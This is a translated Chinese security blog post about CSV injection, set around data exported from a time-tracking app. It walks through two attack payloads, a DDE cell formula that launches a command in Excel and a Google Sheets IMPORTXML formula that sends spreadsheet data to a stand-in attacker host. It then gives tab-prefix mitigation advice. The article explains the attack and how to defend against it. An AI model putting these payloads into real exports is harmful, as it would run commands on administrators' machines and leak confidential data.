导语:从某些方面来说,CSV注入漏洞是一个老漏洞了,但是在其他方面……好吧,我想几乎没有人意识到这个漏洞的破坏性有多大并且这个漏洞无处不在。我曾经看到的很多应用程序都可以使用一些攻击向量来进行CSV注入,这些应用程序需要用

从某些方面来说,CSV注入漏洞是一个老漏洞了,但是在其他方面……好吧,我想几乎没有人意识到这个漏洞的破坏性有多大并且这个漏洞无处不在。我曾经看到的很多应用程序都可以使用一些攻击向量来进行CSV注入,这些应用程序需要用户输入一些数据,并允许管理员将这些数据批量导出到CSV文件中。

CSV注入漏洞的确与每一个应用程序都有关。

值得一提的是, 2014年的一篇文章中已经提到了我的这篇文章讨论到的一些攻击向量。当然还有另一篇文章也讨论了CSV注入漏洞

所以让我们来设置一个场景 – 想像一个时间或标签跟踪应用程序。用户输入他们的时间(或标签),但是不能看到其他用户输入的内容。然后,网站管理员将数据导出到csv文件中并用电子表格应用程序中打开它。这些操作看起来很正常很规范,没什么不对的。

攻击向量1

CSV文件我想大家都很了解。它最大的特点就是这种文件的结构很简单。这些导出的数据可能看起来像下面这样:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240

非常的简单,并且文件内容没有什么危险的东西在里面。甚至按照RFC文档的规范来说,CSV文件包含的数据也不会造成什么危害:

为了好玩一点,让我们尝试修改一下数据,内容修改如下:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5", 240

excel-formula.png

Excel显示的结

 

1509706376219101.png

Google Sheets示的

嗯…看起来很奇怪。尽管单元格里的文本内容被包含在引号中,但它似乎被解释为一个公式了,就是因为第一个字符是一个等号(=)符号。事实上,在Excel表格里,任何运算符(=、-、+、@等)都能够触发这样的行为,这也是最先引起我注意的地方。这个比较神奇,不过此时还没有产生什么危害。

好吧,看起来一个数据公式就是一种可执行的代码。因此,用户可以让代码(也就是数学公式)在管理员机器上的用户的安全上下文中进行执行。

那么如果我们再改一下csv文件的内容呢?(注意最后一行的描述信息那一列)

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240

当我们在Excel中打开这个文件时会发生什么?

calc.png

哇靠!嗯,你没看错,系统的计算器被打开了。

显然,这是有问题的。因为这个CSV文件的内容就是一大坨文本,一般人不会仔细查看文件的内容。即使你仔细检查了数据内容,我也强烈建议你,在任何时候都只打开来源可靠的数据文件。

但是,你知道吗,这些文件可是管理员从应用程序里导出来的。他们当然非常信任这个来源咯!

可是这些用户的技术过硬吗?显然不是的,那就更糟糕了,他们只知道 CSV格式的文件是一些文本数据,不可能会有什么有害的。我保证。

就这样,通过这种攻击方式,攻击者就可以免费下载一个键盘记录器,安装东西,并且不仅可以远程执行代码,而且还可以远程执行任何其他人的计算机上的代码,而且还可以保证有权访问所有用户的数据; 例如经理或公司管理员的数据。我不知道他们可能还会有一些什么其他类型的文件?

攻击向量2

好的,上面就是一个的例子,但毕竟那是一个小的且已知的漏洞。作为一名安全专业人员,你可以确保警告所有的管理员要对Excel文件非常小心,甚至可以考虑使用Google表格。毕竟,Google表格不受宏的影响。

那样做确实没错。所以让我们想一下我们之前的“运行任何我们想要的代码”的野心,而是着重去窃取数据。毕竟,这里攻击成功的前提是攻击者是普通用户,只能访问自己在系统中输入的内容。管理员拥有更高的权限,可以看到每个人的数据,我们可以以某种方式入侵吗?

请记住,虽然我们无法在Google表格中运行宏,但我们绝对可以运行公式。公式不必局限于简单的算术。事实上,Google Sheets里面有没有可以将数据转移到其他地方的“数学公式”呢?答案当然是肯定的,而且还不少。

让我们仔细看一下IMPORTXML的语法。

IMPORTXML(url,xpath_query)

当这个方法被执行后,会在运行时对指定的URL进行HTTP GET请求,然后尝试在我们的电子表格中解析并插入返回的数据。

那么,如果我们的csv文件包含的内容是下面这样的:

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240

攻击者构造了以=符号为前缀的单元格,然后将IMPORTXML的url参数指向其控制的服务器,附加的参数是电子表格中的数据。现在他们可以打开他们的服务器日志和BAM程序。你可以在Requestb.in尝试一下。

这里的危害是什么呢?没有警告,没有弹出窗口,根本没有理由去认为这背后的任何事情。攻击者只需要构造一些类似格式的内容,最后管理员打开导出的CSV文件时,那些被限制为只有管理员才能看到的数据就会被偷偷的发送到攻击者指定的地方。

然而,事情远不止这些。

这些公式是在管理员的浏览器中运行的,准确的说是在他们的用户帐户和安全上下文中执行的。在Google表格中,不仅限于查看自己的数据,实际上他们可以从用户访问的其他电子表格中提取数据。所有攻击者必须知道的是其他工作表的ID。这些信息通常不会被认为是保密数据; 它会出现在电子表格的网址中,并且通常会以电子邮件进行发送,或发布在公司内部的文档中,依靠Google的安全性,以确保只有授权的用户才能访问到该数据。

因此,攻击者窃取的信息不仅仅是包含了“公式”的表格里的内容。管理员保存在其他表格里的比如客户信息和工资信息等,只要管理员访问了这些表格,这些表格中的信息一样可以在神不知鬼不觉的情况下被窃取。哎呀,太可怕了!

当然,类似的技巧在Excel中也有效。事实上,Excel的这种能力已经被警方利用来跟踪罪犯

但,这并不一定。

我已经向很多安全研究人员展示了这些攻击手法,他们指出了各种恶作剧的做法。例如,一名在他们自己的通信中植入信息的犯罪分子,这些信息可以发到他们控制的服务器上。这样一来,如果一个安全研究人员被授权从这些通信内容中获取犯罪证据,那么在他查阅这些表格时,就会有信标出现,以至于犯罪分子就会察觉到有人在监听他们。

这看起来并不理想。

预防措施

那么是谁的错导致了这一切呢?

这不是CSV格式的措施。格式本身不能更清楚的分辨出自动执行任何“看起来像公式”的内容是不是有害的。因此,问题就出在流行的电子表格程序做了错误的事情。当然,Google表格必须保持与Excel的功能一致,Excel必须支持已经存在的数百万个复杂的电子表格。但是,要让这些程序不这么做,是一件很难的事情,那么既然改变不了程序,那就改变人类吧。

我已经将这个漏洞报告给了Google,作为他们的表格产品中的一个漏洞。他们审核通过了,但声称已经意识到了这种威胁。虽然我确信他们明白这是一个漏洞,但我得到了一个明确的态度:他们并没有真正考虑到在实践中可能会被滥用的情况。至少在CSV导入即将生成外部请求时,Google表格应至少给用户发出警告。

但是把这个错误推到应用程序开发人员上也是不切实际的。毕竟,没有理由让开发人员在商业软件里花费很大的精力来避免出现这种安全问题。即使他们按照RFC文档的规范来做,一样无法避免。

要如何防止这种漏洞的发生呢?

尽管StackOverflow和其他一些网站提供了很多建议,但我发现了一种很可靠的方法:

在所有带有=、-、+或者@运算符的单元格里,在前面加上tab空格字符,如果有引号的话,那么要保证所有字符都在引号里面。

UserId,BillToDate,ProjectName,Description,DurationMinutes
1,2017-07-25,Test Project,Flipped the jibbet,60
2,2017-07-25,Important Client,"Bop, dop, and giglip", 240
2,2017-07-25,Important Client," =2+5", 240

看起来有些奇怪,但是很实用,并且tab空格在表格里是不可见的。

不幸的是,事情还没结束。Tab空格虽然看不到,但它仍然是存在的。使用字符串长度检查=LEN(D4)就可以确认。因此,这只是一个勉强可以接受的解决方案。此外,插入tab字符将导致数据不一致。csv格式本身就是用于应用程序之间的数据交换。这就意味着一个单元格的数据将会从一个表格里导入到其他的表格里,那么额外增加的tab字符也就跟着导入进去了。

所以,当你导出数据到CSV 文件时你必须要清楚的知道这些数据将要被用到什么场景中。

· 如果数据只是在电子表格软件中使用,那么在出现运算符的时候,在运算符前面加tab就可以。尤其是在你不希望你输入的“-2+3”被莫名其妙的显示成1的时候。

· 如果数据要在别的应用程序里交换数据,那就不要加tab了。

· 如果你不知道这些数据会用在什么地方,或者是这些数据先在电子表格软件里使用,然后又需要导入到其他软件中使用,那你还是放弃吧。(当然还可以这样做:继续用Excel但是记得将电脑的网络断开,并且按照安全提示来操作。)

这是一个破坏性比较大并且没有完美的解决方案的漏洞,这需要被更多的人知道。

源链接

Hacking more

...